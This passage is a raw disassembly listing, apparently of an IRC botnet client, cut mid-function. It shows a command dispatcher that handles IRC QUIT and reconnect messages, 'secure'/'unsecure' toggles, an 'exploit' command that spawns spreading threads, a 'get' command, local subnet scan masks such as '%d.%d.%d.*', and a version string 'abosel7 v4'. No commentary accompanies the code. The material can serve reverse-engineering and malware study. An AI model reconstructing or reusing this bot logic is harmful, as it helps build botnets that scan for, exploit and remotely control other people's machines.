		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F42:				; CODE XREF: sub_401ACD+245Fj
		push	offset unk_42C37C


loc_403F47:				; CODE XREF: sub_401ACD+246Cj
					; sub_401ACD+2473j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDB
; ---------------------------------------------------------------------------


loc_403F5D:				; CODE XREF: sub_401ACD+1A93j
					; sub_401ACD+1AA8j
		call	sub_40AB31
		test	eax, eax
		jz	short loc_403F6D
		push	offset unk_42C358
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F6D:				; CODE XREF: sub_401ACD+2497j
		push	offset unk_42C32C
		jmp	short loc_403F47
; ---------------------------------------------------------------------------


loc_403F74:				; CODE XREF: sub_401ACD+1A69j
					; sub_401ACD+1A7Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F93
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C314
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_403F93:				; CODE XREF: sub_401ACD+24AAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D6
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42C2F8
		jmp	loc_404285
; ---------------------------------------------------------------------------


loc_403FB5:				; CODE XREF: sub_401ACD+18F9j
					; sub_401ACD+190Ej
		push	0Ah
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_403FCB
		push	offset unk_42C2CC
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FCB:				; CODE XREF: sub_401ACD+24F2j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419C64
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403FEA
		push	offset unk_42C2A4
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FEA:				; CODE XREF: sub_401ACD+2511j
		push	offset unk_42C284
		jmp	loc_409601
; ---------------------------------------------------------------------------


loc_403FF4:				; CODE XREF: sub_401ACD+18CFj
					; sub_401ACD+18E4j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A7CE
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40400D:				; CODE XREF: sub_401ACD+18A5j
					; sub_401ACD+18BAj
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416C28
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_40402A:				; CODE XREF: sub_401ACD+187Bj
					; sub_401ACD+1890j
		or	edi, 0FFFFFFFFh
		call	dword_4270A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_404053
		push	esi
		call	sub_41B779
		pop	ecx
		mov	edi, eax


loc_404053:				; CODE XREF: sub_401ACD+257Bj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_40406C
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409854


loc_40406C:				; CODE XREF: sub_401ACD+2594j
		push	ebx
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C26C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC


loc_4040AA:				; CODE XREF: sub_401ACD+529Cj
		add	esp, 24h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4040B2:				; CODE XREF: sub_401ACD+1851j
					; sub_401ACD+1866j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415A2F
		add	esp, 0Ch
		push	offset dword_42C24C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_4040D0:				; CODE XREF: sub_401ACD+1827j
					; sub_401ACD+183Cj
		push	27h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_404104
		cmp	[ebp+var_8], ebx
		jnz	loc_401E94
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C22C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72


loc_4040FC:				; CODE XREF: sub_401ACD+7237j
		add	esp, 14h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_404104:				; CODE XREF: sub_401ACD+260Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		mov	[ebp+var_AA8], ebx
		jz	short loc_404165
		push	esi
		push	offset aFull	; "full"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404165
		mov	[ebp+var_AA8], 1


loc_404165:				; CODE XREF: sub_401ACD+267Bj
					; sub_401ACD+268Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C208
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_4198EB
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_4041D3


loc_4041BD:				; CODE XREF: sub_401ACD+2704j
		cmp	[ebp+var_A9C], ebx
		jnz	loc_409630
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_4041BD
; ---------------------------------------------------------------------------


loc_4041D3:				; CODE XREF: sub_401ACD+26EEj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C1CC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409630
; ---------------------------------------------------------------------------


loc_4041F3:				; CODE XREF: sub_401ACD+17FDj
					; sub_401ACD+1812j
		cmp	[ebp+var_8], ebx
		jnz	short loc_404212
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C1B0
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404212:				; CODE XREF: sub_401ACD+2729j
		push	[ebp+arg_4]
		call	dword_4CB6CC	; closesocket
		call	dword_4CB58C	; WSACleanup
		call	sub_418359
		push	ebx
		call	dword_427064	; ExitProcess


loc_40422D:				; CODE XREF: sub_401ACD+17D3j
					; sub_401ACD+17E8j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AA42
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42C194
		jmp	short loc_404285
; ---------------------------------------------------------------------------


loc_404258:				; CODE XREF: sub_401ACD+17A9j
					; sub_401ACD+17BEj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	offset dword_42C178


loc_404285:				; CODE XREF: sub_401ACD+24E3j
					; sub_401ACD+2789j
		call	sub_4151AC
		add	esp, 18h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_404292:				; CODE XREF: sub_401ACD+177Fj
					; sub_401ACD+1794j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41524C
		jmp	loc_401E91
; ---------------------------------------------------------------------------


loc_4042AB:				; CODE XREF: sub_401ACD+1755j
					; sub_401ACD+176Aj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1594],	bl
		jz	short loc_4042EA
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042EA
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042EA
		push	eax
		push	offset aS_4	; "%s"
		lea	eax, [ebp+var_1594]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 10h


loc_4042EA:				; CODE XREF: sub_401ACD+27E7j
					; sub_401ACD+27F2j ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1614]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1618],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1510],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_150C],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C160
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_1514],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1618]
		push	ebx
		push	eax
		push	offset sub_41528D
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1514]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40438D


loc_404377:				; CODE XREF: sub_401ACD+28BEj
		cmp	[ebp+var_1508],	ebx
		jnz	loc_401E94
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_404377
; ---------------------------------------------------------------------------


loc_40438D:				; CODE XREF: sub_401ACD+28A8j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C128
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40439E:				; CODE XREF: sub_401ACD+172Bj
					; sub_401ACD+1740j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415134
		push	offset dword_42C110
		call	sub_4151AC


loc_4043B9:				; CODE XREF: sub_401ACD+2453j
		add	esp, 10h
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_4043C1:				; CODE XREF: sub_401ACD+1701j
					; sub_401ACD+1716j
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		jz	short loc_40441B
		push	offset dword_42C10C
		push	esi
		call	sub_41C070
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_B40], eax
		jmp	short loc_404421
; ---------------------------------------------------------------------------


loc_40441B:				; CODE XREF: sub_401ACD+2932j
		mov	[ebp+var_B40], ebx


loc_404421:				; CODE XREF: sub_401ACD+294Cj
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C0EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_40B161
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40448F


loc_404479:				; CODE XREF: sub_401ACD+29C0j
		cmp	[ebp+var_B34], ebx
		jnz	loc_406CFF
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_404479
; ---------------------------------------------------------------------------


loc_40448F:				; CODE XREF: sub_401ACD+29AAj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C0B0
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_4044A0:				; CODE XREF: sub_401ACD+1685j
					; sub_401ACD+169Aj
		push	offset aDark	; "Dark"
		push	offset dword_42C098


loc_4044AA:				; CODE XREF: sub_401ACD+2A1Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_4044D7:				; CODE XREF: sub_401ACD+165Bj
					; sub_401ACD+1670j
		push	dword_4CB374
		call	sub_41A88B
		pop	ecx
		push	eax
		push	offset unk_42C06C
		jmp	short loc_4044AA
; ---------------------------------------------------------------------------


loc_4044EB:				; CODE XREF: sub_401ACD+1631j
					; sub_401ACD+1646j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40451D
		cmp	[ebp+var_C], ebx
		jz	short loc_40452C
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40452C
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		jmp	short loc_40452C
; ---------------------------------------------------------------------------


loc_40451D:				; CODE XREF: sub_401ACD+2A27j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		pop	ecx


loc_40452C:				; CODE XREF: sub_401ACD+2A2Cj
					; sub_401ACD+2A3Bj ...
		push	0FFFFFFFEh
		jmp	loc_401E96
; ---------------------------------------------------------------------------


loc_404533:				; CODE XREF: sub_401ACD+1607j
					; sub_401ACD+161Cj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42C01C
		call	sub_4151AC
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_404555:				; CODE XREF: sub_401ACD+15DDj
					; sub_401ACD+15F2j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42BFE8
		call	sub_4151AC
		add	esp, 0Ch
		jmp	loc_4097B9
; ---------------------------------------------------------------------------


loc_404574:				; CODE XREF: sub_401ACD+15B3j
					; sub_401ACD+15C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B7DA
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_40458A:				; CODE XREF: sub_401ACD+1589j
					; sub_401ACD+159Ej
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B785
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045A0:				; CODE XREF: sub_401ACD+155Fj
					; sub_401ACD+1574j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B719
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045B6:				; CODE XREF: sub_401ACD+1535j
					; sub_401ACD+154Aj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B64A
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4045CC:				; CODE XREF: sub_401ACD+1490j
					; sub_401ACD+14A5j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BFD8
		push	offset dword_42BFC8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045E4:				; CODE XREF: sub_401ACD+1466j
					; sub_401ACD+147Bj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BFBC
		push	offset dword_42BFAC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_4045FC:				; CODE XREF: sub_401ACD+1082j
					; sub_401ACD+1097j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_40461B
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404620
; ---------------------------------------------------------------------------


loc_40461B:				; CODE XREF: sub_401ACD+2B38j
					; sub_401ACD+2B43j
		mov	eax, dword_429074


loc_404620:				; CODE XREF: sub_401ACD+2B4Cj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404645
		push	esi


loc_404632:				; CODE XREF: sub_401ACD+2B87j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40465C
; ---------------------------------------------------------------------------


loc_404645:				; CODE XREF: sub_401ACD+2B62j
		cmp	[ebp+var_8FF], bl
		jz	short loc_404656
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_404632
; ---------------------------------------------------------------------------


loc_404656:				; CODE XREF: sub_401ACD+2B7Ej
		mov	[ebp+var_5A0], bl


loc_40465C:				; CODE XREF: sub_401ACD+2B76j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B980
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF84
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset sub_4111CD
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_40470D


loc_4046F7:				; CODE XREF: sub_401ACD+2C3Ej
		cmp	[ebp+var_57C], ebx
		jnz	loc_401E94
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------


loc_40470D:				; CODE XREF: sub_401ACD+2C28j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42BF48
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_40471E:				; CODE XREF: sub_401ACD+1018j
					; sub_401ACD+102Dj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		test	ax, ax
		pop	ecx
		jz	short loc_40473E
		push	esi
		call	sub_41B779
		pop	ecx
		jmp	short loc_404744
; ---------------------------------------------------------------------------


loc_40473E:				; CODE XREF: sub_401ACD+2C5Aj
					; sub_401ACD+2C66j
		mov	ax, word_429084


loc_404744:				; CODE XREF: sub_401ACD+2C6Fj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B980
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF1C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409A72
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B0F6
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset sub_40E503
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_404813


loc_4047FD:				; CODE XREF: sub_401ACD+2D44j
		cmp	[ebp+var_968], ebx
		jnz	loc_401E94
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_4047FD
; ---------------------------------------------------------------------------


loc_404813:				; CODE XREF: sub_401ACD+2D2Ej
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BEDC
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_404824:				; CODE XREF: sub_401ACD+FC4j
					; sub_401ACD+FD9j ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40484C
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		mov	[ebp+var_A10], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404856


loc_40484C:				; CODE XREF: sub_401ACD+2D66j
		mov	[ebp+var_A10], 1


loc_404856:				; CODE XREF: sub_401ACD+2D7Dj
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_A10], ebx
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_A08], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40489D
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40489D:				; CODE XREF: sub_401ACD+2DC9j
		push	eax
		push	offset dword_42BEA8
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_419E19
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E584[ecx], eax
		jz	short loc_404911


loc_4048FB:				; CODE XREF: sub_401ACD+2E42j
		cmp	[ebp+var_A04], ebx
		jnz	loc_4083BC
		push	32h
		call	dword_427078	; Sleep
		jmp	short loc_4048FB
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+2E2Cj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42BE6C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_404922:				; CODE XREF: sub_401ACD+F9Aj
					; sub_401ACD+FAFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A6AE


loc_404933:				; CODE XREF: sub_401ACD+2AB8j
					; sub_401ACD+2ACEj ...
		add	esp, 0Ch
		jmp	loc_409854
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_401ACD+F70j
					; sub_401ACD+F85j
		push	offset unk_42BDBC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_404945:				; CODE XREF: sub_401ACD+F46j
					; sub_401ACD+F5Bj
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BDAC
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_404954:				; CODE XREF: sub_401ACD+F1Cj
					; sub_401ACD+F31j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4049AE
		push	esi
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4049A6
		cmp	eax, 3
		jge	short loc_4049A6
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40499E
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D084
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_40499E:				; CODE XREF: sub_401ACD+2EB0j
		push	eax
		push	offset unk_42BD80
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049A6:				; CODE XREF: sub_401ACD+2E9Bj
					; sub_401ACD+2EA0j
		push	eax
		push	offset unk_42BD54
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049AE:				; CODE XREF: sub_401ACD+2E90j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4049B3:				; CODE XREF: sub_401ACD+2F02j
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4049D6
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4049B3
		jmp	loc_40828B
; ---------------------------------------------------------------------------


loc_4049D6:				; CODE XREF: sub_401ACD+2EF6j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42D084


loc_4049EB:				; CODE XREF: sub_401ACD+2152j
					; sub_401ACD+2ED7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		jmp	loc_408288
; ---------------------------------------------------------------------------


loc_4049FC:				; CODE XREF: sub_401ACD+EF2j
					; sub_401ACD+F07j
		push	[ebp+var_8C]
		push	offset dword_42CFF8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4034A5
		call	sub_40B2BF
		push	ebx
		call	dword_427064	; ExitProcess


loc_404A22:				; CODE XREF: sub_401ACD+1A11j
		push	offset aGet	; "get"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AB0
		cmp	dword_4CEDE8, ebx
		jz	short loc_404A4A
		push	offset dword_4CE7C8


loc_404A40:				; CODE XREF: sub_401ACD+2FE1j
		push	offset unk_42BD18
		jmp	loc_404AE0
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_401ACD+2F6Cj
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	dword_427230	; getsockname
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E30]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_E30]
		push	eax
		jmp	short loc_404A40
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_401ACD+2F64j
		push	esi
		call	dword_4CB674	; inet_addr
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_404AC4
		push	offset unk_42BCD8
		jmp	short loc_404AE0
; ---------------------------------------------------------------------------


loc_404AC4:				; CODE XREF: sub_401ACD+2FEEj
		push	offset dword_4CE7C8
		call	sub_41BEB0
		pop	ecx
		mov	dword_4CEDE8, 1
		pop	ecx
		push	esi
		push	offset unk_42BCAC


loc_404AE0:				; CODE XREF: sub_401ACD+2F78j
					; sub_401ACD+2FF5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_4034FD
; ---------------------------------------------------------------------------


loc_404AF4:				; CODE XREF: sub_401ACD+19F9j
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BF7
		mov	eax, [ebp+var_4]
		mov	esi, offset aF_0 ; "#f"
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E0],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F4],	eax
		mov	edi, 80h
		push	esi
		lea	eax, [ebp+var_1474]
		push	edi
		push	eax
		mov	[ebp+var_13EC],	1
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_14F4]
		push	esi
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	[ebp+arg_10]
		push	10h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_1504]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC74
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_13E8],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1504]
		push	ebx
		push	eax
		push	offset sub_40B8A1
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
